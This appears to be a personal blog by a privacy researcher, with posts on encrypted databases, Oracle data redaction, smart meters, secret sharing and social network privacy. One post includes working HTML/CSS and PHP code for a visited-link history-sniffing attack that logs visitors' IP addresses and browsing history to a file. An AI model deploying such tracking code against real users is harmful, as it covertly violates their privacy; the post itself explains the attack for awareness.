[Research] Privacy Preserving Data Services in the Cloud

When you utilize a data service in the cloud to store your business data, among other concerns, there are security and privacy implications. Two key concerns are data confidentiality and access privacy. In this post, I am briefly discussing these two concerns and highlight the related research work.

Data confidentiality - prevent the cloud from seeing the plaintext data.
Access Privacy - prevent the cloud from inferring information about data from the queries made.


Data confidentiality research:

• The challenge is to allow query processing while keeping the data and query oblivious
• Researchers have mainly taken two approaches
• Encrypted database and encrypted query processing
• Projects: CryptDB, DBMask, Monomi
• Trusted computing - keep the sensitive content in a trusted container
• Projects: TrustedDB, CipherBase

Access Privacy research:

• The challenge is to support minimal leakage of query access pattern while keeping the computational cost to reasonably low so that the approach is practical.
• There are two main paths that researchers have taken to solve this problem:
• Private Information Retrieval (PIR) based approaches [1]
• Oblivious RAM (ORAM) based approaches  [1] 

Is Oracle Data Redaction broken?

In blackhat 2014 and earlier in 2013, David Litchfield has pointed out that "Oracle data redaction is broken and trivial to bypass". Here is an exaggerated scribe of his blackhat 2014 talk. Is that true that you can trivially bypass data redaction? Yes, of course, if you are using ad-hoc queries. You can trivially write a join query to fetch sensitive data if you have direct access to the database. Does that mean it is broken? No, not really; the problem is that Oracle data redaction does not claim to protect against ad-hoc queries. It is designed to be a helper function for applications to redact sensitive data before showing to application users. It can be considered as an application layer security feature. It is not a Database security feature that prevents leakage of sensitive data from the database when an attacker has direct access to the database.

Let me provide you an analogy using encryption which is not the defense for all threats. Transparent database encryption techniques provided by many database vendors, including, Oralce, Microsoft and IBM, is designed to protect data at rest. That is, if an attacker steals or gets access to a hard drive where the data is stored, they won't be able to access the actual data as it is encrypted and they don't have keys to decrypt it. However, if the attacker can compromise an application that access these encrypted data, they get access to the plaintext data. Does that mean the transparent encryption provided by all these vendors is broken? Certainly not. The same applies for Oracle data redaction.

Without the data redaction technique, an app developer would do the following to mask sensitive data, for example, credit card numbers:

1. Fetch credit card numbers from the database
2. Write application code to mask credit card numbers
3. Apply the application defined masking function before pushing the data user interface (e.g. web browser)

From the development and maintenance point of view, there are some pratical issues with the above approach:
- App developers need to write custom redaction code
- If multiple apps uses similar redaction or accesses multiple databases, it is difficult to maintain or update these redaction so that consistency is maintained in the long run. There is no way to centrally control it. It may require constant code changes.

 

Figure: Oracle data redaction example (Source: oracle.com)

Oracle data redaction helps overcome these practical issues. Further, notice that app already has privilege to access full credit card numbers. The objective of Oracle data redaction is not to block access to these credit card numbers. If the application is compromised, the attacker can use trivial bypass techniques to get his hands on the credit card numbers. Instead, the objective is to defend against app user compromises. If an app user is compromised, the can use his/her credential to login to the application and get access only to the redacted credit card number. In short, Oracle data redaction is designed to show the least information to app users.

If you want to prevent leakage of sensitive data from the database, you need use other preventive and detective techniques such as Oracle database vault and Oracle audit vault and firewall. This is a good example why organizations should have defense in depth to protect their valuables in databases!

My PhD defense presentation

Privacy Preserving Access Control for Third Party Data Management Systems

View more presentations from Nabeel Mohamed.

SACMAT 2012 presentation

Efficient privacy preserving publish subscribe systems

View more presentations from Nabeel Mohamed.

Security vs. Privacy

Security or Privacy or Security and Privacy? IMO, contrary to the following figure, security along with privacy is possible; you don't have to loose privacy for security.

Smart Meters and Privacy

In case you haven't heard about smart meters, they are the next generation electric meters. Unlike the traditional electric meters, the provide two way communication. The goal of smart meters is to allow utility companies and consumers to better monitor the energy consumption and control electricity. Smart meters act as surveillance devices. Having such a surveillance device at your home could seriously invade your privacy though. It can be a security threat as well. Here are a couple of possible threats:
- It allows a third-party to see what equipments you are using, what time of the day, how long, how often, etc.
- An insurance company inferring what kind of medical problems you have based on the devices use and what time.
- A producer marketing products that go along with your equipments or suggest different equipments
- It gives information to a burglar to figure out a best time to break in. (Low consumption may be linked to empty house.)

The question is how much information utility companies need in order to better manage electricity while protecting the privacy? In other words, how can we balance the benefits of smart meters and the risks of using them?

De-anonymizing social network users

Recently read an interesting paper about de-anaonymizing social network users that appeared in last year's S&P. The idea is quite simple: the groups a user belongs act as a fingerprint of the user (aka group fingerprint of a user); in other words, the set of group a user belongs allows to identify a user uniquely. Most of the social networks provide the ability to be (or not to be) a member of groups. If an attacker can get hold of the group membership information of a user from these social networks, then it can uniquely identify the user (e.g. associate an IP address with a specific user). How to steal the group membership information? They use another simple technique to do this; use an existing technique to steal user browser history.

I initially thought you've got to have javascript enabled in order to steal user browser history (you are still not safe even if you disable javascript!). I was curious to find out how to do without javascripts. You can do a simple CSS trick to steal the browser history (an online example). The idea is quite simple. In your style sheet, you specify which URL's you want to track. Then you use some kind of a social engineering trick for the user to open your malicious page. For the user there is nothing visible, it is an innocuous html page; but it simply checks browser history and if the user had happened to have visited some of the links listed in the page, it sends a message back to the malicious server. Then the malicious server knows which links user visited.

For example,
This is a simple malicious page html page that I want to get a user to open:


<html>
<body>
<style>
span.s1 a:visited {
background:url(visited.php?t=http%3A//http.google.com);
}
span.s2 a:visited {
background:url(visited.php?t=http%3A//http.dailymirror.lk);
}
</style>

<span class="s1">
<a href="http://www.google.com">www.google.com</a>
</span>
<br/>
<span class="s2">
<a href="http://www.dailymirror.lk">www.dailymirror.lk</a>
</span>
</body>
</html>




And I have a small malicious php file which write to a txt if the user has visited a specific link:

<?php
$client = $_SERVER['REMOTE_ADDR'];

$fp = fopen("history.txt", "a");
$str = $client . " has accessed " . $_GET['t'] . "\n";
fwrite($fp, $str);
fclose($fp);
?>


The history.txt file has something like:
205.10.1.1 has accessed http://www.google.com
210.34.5.11 has accessed http://www.google.com
210.34.5.11 has accessed http://www.dailymirror.lk

You get the idea. It is quite simple to launch this attack.


Found that this plug-in from Stanford said to protect your browser from visited link based attacks. (Update: this plug-in is no longer maintained. Only has an xpi for FF 2.0)

A simple construction of a veribable secret sharing scheme

In a SS (Secret Sharing) scheme a secret is split among many people and some of them need to corporate to build the secret from their shares of the secret. In in it is basic form, a dealer who possesses the secret s splits the secret and gives the secret share s_i to each party P_i, i = 1, 2, ..., n. The protocol makes sure that there should be at least t+1 parties to derive the master secret s. In other words, t or less number of parties cannot derive the secret.

In a normal SS scheme, the dealer is assumed to be honest. What if the dealer can be malicious? That's where VSS (Verifiable Secret Sharing) comes to play. VSS is similar to SS except that it allows each party to verify that the share given to them, s_i, is a valid one.

Here's a simple VSS scheme using Shamir's secret sharing and additive homomorphic encryption.

An additive homomorphic encryption scheme (e.g. ElGamal cryptosystem) allows us to perform addition over encrypted data. In particular, we use the following properties. Let E be the encryption algorithm and m₁, m₂ two numbers.

E(m₁)E(m₂) = E(m₁ + m₂)
E(m₁)^m₂ = E(m₁m₂)


The dealer generates secret shares just like in the Shamir's SS scheme. For (n, t+1) (i.e. out of n parties, there should be at least t + 1 parties to construct the secret, the dealer selects a random degree t polynomial f with f(0) = s:

f(x) = s + a₁x + a₂x² + ... + a_tx^t

The dealer sends the secret share (i, f(i)) (f(i) = s_i) to each party P_i through a private communication channel. Now t + 1 parties can perform a polynomial interpolation and obtain a unique polynomial which is equal to f and get the secret f(o).

In order to verify their secret shares, the dealer distribute an additional piece of information. The dealer generates public and private key pair for the additive homomorphic encryption E and broadcasts the encrypted coefficients of f, that is, E(s), E(a₁), E(a₂), ..., E(a_t). A party P_i, first encrypts it share and compare if the following holds. If it is true, it concludes that the dealer has given a valid secret share.

E(s_i) ==? E(s)E(a₁)ⁱE(a₂)ⁱ² ... E(a_t)^it

References:
How to Share a Secret, 1979, Adi Shamir
A Practical Scheme for Non-interactive Verifiable Secret Sharing, 1987, Paul Feldman

[Security/Privacy] Can we bridge the gap?

I was wondering how we may apply secure computing (e.g. computation over encrypted data) in real life scenarios where you have to interact with real objects as opposed to bits and bytes. It seems to me quite difficult, if not impossible, to achieve the same "invisibility" in the physical world; the very nature of the tangibility makes it hard to do so.

Consider the example where I want to mail my digital photos to Walgreens and get them printed. However, I want Walgreens to see neither the photos nor the printed copies. You see the similar privacy/security problems in getting something printed through a courier service such as UPS. I am not aware of any technology that we could use to solve this problem. One important thing is for the solution to be economical for me (the service requester), the amount of work I need to do (hence the cost) to recover the actual thing (actual photos from printed copies) should be cheaper than the service I want (getting the photos printed) in the long run. Otherwise, I might as well buy my own printing machine and do the printing myself which will eliminate the problem of privacy/security.

Tracking patients remotely

When we talk about GPS, we immediately think about going from point A to B. Technologies similar to GPS have been used to track patient remotely. The basic idea is that these devices, which are, most of the time, attached to the patient, report the location information to a central location and if the movement patterns deviate from the normal patterns, they detect an anomaly. That anomaly could be something good (for example, a patient who is recovering making some movement could be a positive sign, no movement at all could be a negative sign).

There have been commercial as well as research projects in this regard. For example,

Remotely monitory elderly location: here here
A research project to track the recovery from a surgery: here
A device to track dangerous psychiatric patients: here
And many more

Even though these devices/techniques are designed/deployed with good intension, one concern here is people who are being monitored have no control over their own data, i.e. their movement information. And they don't have control over who can view their data. Hence, it could lead to serious privacy breaches. I'd like to see a system where it gives more control to the target (to someone on behalf of the target) over their information.

Facebook - new advertising model?

Heard about the news that Facebook is going to launch a new advertising model where they target ads based on user's browsing history. [1,2,3] From what I understood, FB is not going to (and unable to track) your complete browsing history; rather, FB is going to build a browsing profile for you based on what you explicitly want to "like" by clicking a button placed on a web page you browse. I think they already get some amount of browsing history information whenever you click "f-share" button on a web page which sends the request to http://facebook.com/.

The question is whether this behavioral targeting is an invation/violation of privacy? IMO, it's NOT a violation of privacy as opposed to what the links above try to indicate. Privacy is more about the control YOU have and less about secrecy. Unless YOU explicitly decide to like or share (by clicking), FB will not be able to do any meaningful behavioral targeting. It's still under YOUR control.

Of course, it is a violation of privacy, if FB tries to show ads to someone based on YOUR browsing history which they tried to do with beacon system and failed miserably; YOU loose control over YOUR data in this case. I think FB is not going do something similar to that with the new behavioral targeting.

Waiting to see how their system actually works!

write once, remain forever

Here's an example:

Have you ever sent out a “tweet” on the popular Twitter social media service? Congratulations: Your 140 characters or less will now be housed in the Library of Congress.

That’s right. Every public tweet, ever, since Twitter’s inception in March 2006, will be archived digitally at the Library of Congress. That’s a LOT of tweets, by the way: Twitter processes more than 50 million tweets every day, with the total numbering in the billions.

People mining ;-)

data people mining - could be used for good or bad purposes just like everything else in life.

www.pipl.com
www.reunion.com
www.classmates.com
www.facebook.com
www.twitter.com
www.linkedin.com
www.myspace.com
www.switchboard.com
www.jigsaw.com
www.google.com
www.bing.com
www.rootsweb.com
www.tributes.com
www.legacy.com

(source)

Securing systems dealing with sensitive information

I went through the executive summary of the audit report of a popular clinical information system in Canada which assessed the security measures in place. The 10 recommendations the report make are quite useful when implementing any access controlled information system; they are not new, but rather well-known facts (need-to-know, defense-in-depth, leakage-prevention, auditing, etc) but in practice largely neglected.

How will the healthcare bill affect medicine?

(The traditional way of managing medical records)

From "10 things you need to know about the healthcare bill":

The bill includes incentives to use more electronic medical records, which should make healthcare more efficient and effective. It would set up pilot programs for medical malpractice tort reform. Community health clinics, which help serve people who often don't have access to other forms of care, would get more funding. Medicare payments would be linked to quality of care, which should shift more providers toward evidence-based standards to see how well treatments work.

Other pilot programs would be set up to study how to improve public health in general, and improve care for people with chronic diseases, rural patients and other groups. The goal is to improve the quality of care while holding the costs down.

To friend or not to

I don't mean to be paranoid here, but you better think twice before you become friend with someone in a social network.

It may be an undercover agent that you are accepting as a friend; this could lead to privacy violations if you are an innocent party.

Law enforcement agents are following the rest of the Internet world into popular social-networking services, even going undercover with false online profiles to communicate with suspects and gather private information, according to an internal Justice Department document that surfaced in a lawsuit.

Want to know how they do it and what they can obtain? read up here.
I don't mind if they use social networks to uncover only those who did something wrong or really questionable, but it would be naive for me to think so.

Facebook's rules, for example, specify that users "will not provide any false personal information on Facebook, or create an account for anyone other than yourself without permission." Twitter's rules prohibit users from sending deceptive or false information. MySpace requires that information for accounts be "truthful and accurate."

I am confused now; can I prosecute an undercover agent on the above ground?

It may be someone impersonating someone else for totally different reason:

Around September 20, 2006, Lori Drew created the Myspace account for the "Josh Evans" alias. At the time Drew operated the Josh Evans MySpace account, she was aware that Meier had been taking antidepressant medication. Meier committed suicide as a result of the bullying.

It may be someone who tries to defame you by associating you with something that you are not. For example, tagging you in an image that is not socially acceptable or writing defamatory/incorrect remarks about you on your wall.


How do you know if a person is who he/she claims to be in a social network? Well, there's no formula for that. But it is in general a good idea to check the mutual friends a person has before accepting the request. It may not work in some cases. What if some of your friends have already been fooled to be friends with that person? (which I have encountered at least a few times already)

How privacy vanishes online and some thoughts

Very timely article:
"If a stranger came up to you, would you say your email address, your phone number?
If you have a not so close friend would you tell your DoB to him/her?
Probably not..yet people say it on the Internet."

“Personal privacy is no longer an individual thing: In today’s online world, what your mother told you is true, only more so: people really can judge you by your friends.”

As the article also briefly mentions, you may think that innocuous attributes such as where you work, your current location, where and what you studied, etc. will not lead to identify you as a unique individual. However, there is research indicating that the aggregation of these small small things can lead to something powerful even to the extent to identify your social security number. Actually, one of my research goals is to minimize the revelation of use innocuous credentials used as part of access controlling in service consumption scenarios. In other words, the question is "how do I get the service with no or minimal disclosure of credentials yet convincing the service provider?"

Another question I am in search of answers is "how much privacy do I loose by revealing different bits of information in different places in the Internet?". Intuitively, as you reveal more attributes about you, you become easier to identify. How does this relationship vary - is your identifiability proportional to something about your attributes? Some attributes reveal more than others. My next question is about identifying that "something"; "Can we capture this notion in an information theoretic way?"

Slides of my talk at ICDE 2010

Last week, we had the ICDE 2010 conference in Long Beach, LA. Here are the slides of my talk.

Google buzz is criticized for privacy concerns

After setting up buzz, if you don't change the default settings, others can see who you most frequently (not sure about the most frequent part, I guess they pick almost all the contacts that you ever had conversation with if your contact list is not too long) chat with or email to due to the default automatic friends feature. Looks like they have not learned from the Facebook beacon experience -- when it comes to information sharing it is safer to opt-in rather than opt-out.

The above link mentions that:
"Imagine ... a wife discovering that her husband emails and chats with an old girlfriend,"

(Btw, if you are honest, you probably don't need to hide anything. Are we encouraging people to be dishonest by allowing them to hide behind the screen in the name of privacy??)

Also mentions that:
"Imagine ... a boss discovers a subordinate emails with executives at a competitor."

(When you use a free service like Google mail/chat, you don't have much control over your information - your profile, your chat logs, your contacts, your emails ... this raises the question if we should use such services for business purposes or highly private matters??)

There could be other damaging inferences as well. For example, if Bob frequently communicate with one of his doctors, John, who specializes in cancer treatment. Others will be able to infer that Bob is possibly having some sort of cancer.

Mitigating factors:
There are some mitigating factors, however. Buzz only shares information about other people who are using Buzz and have set up public profiles in Google. So currently, most Gmail users are not publicly listed by the service. Users can also "unfollow" people who they don't want to be linked to.

You can follow the steps in this to change the default settings.

Funny..

You probably have watched this video earlier. I happened to watch it again. It's so funny :) .. there's a message as well - I don't like people bragging about their personal life in Twitter/Facebook or any other social media, but Twitter could be a useful tool if it is used in the right way.




This one is not only funny, but also very creative :) .. there is some reality as well.